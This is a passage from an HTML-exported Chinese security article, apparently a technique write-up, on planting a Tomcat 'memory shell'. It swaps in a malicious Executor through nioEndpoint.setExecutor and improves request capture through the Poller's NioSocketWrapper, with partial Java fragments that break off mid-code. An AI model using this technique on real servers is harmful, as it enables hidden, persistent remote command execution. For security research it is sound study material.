style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">S</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> handler </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 用于存放传递给子组件的信息 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashMap</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> attributes </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashMap</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;&gt;();</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">LimitLatch是一个连接控制器，负责连接限制，nio模式下默认10000，达到阈值则拒绝连接请求。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">Acceptor负责接收请求，默认由1个线程负责，将请求的事件注册到事件列表中。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">Poller负责轮询上述产生的事件，将就绪的事件生成SokcetProcessor，交给Excutor去执行。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">SokcetProcessor里面的doRun方法，封装了Socket的读写，完成Container调用逻辑。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">Excutor用来执行Poller创建的SokcetProcessor，线程池大小Connector节点配置的maxThreads决定。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">通过nioEndpoint.setExecutor(exe);构造恶意Executor插入</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://xz.aliyun.com/t/11593" target="_blank">https://xz.aliyun.com/t/11593</a></span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">作者代码少写了个返回，会报500，加上就可以</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;"><img data-ratio="0.31785714285714284" style="width:553.8084106445312px;height:178.38999938964844px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=b2599534&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKI8Uekve9PBkAGcqe1xEJQAwNQd5GRdVFFicTY4ickfy514MpzM93zgaw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">缺点：几次请求才能拿到我们发的payload去执行</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">原因：我们执⾏的位置是在Executor，这个时候Socket流中的数据还没有被 read，通过线程遍历获取到的request其实是前⼀次（或者前⼏次，跟线程数有关）的缓存数据，所以 获取命令需要我们多次进⾏request请求</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">改良方式：</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">Poller中的Real NioSocketWrapper对象通过其read方法可成功获取当次的request请求</span></span></span></span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">threadName</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">contains</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;Poller&#34;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">))</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                        </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> target </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getField</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">thread</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;target&#34;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                        </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span 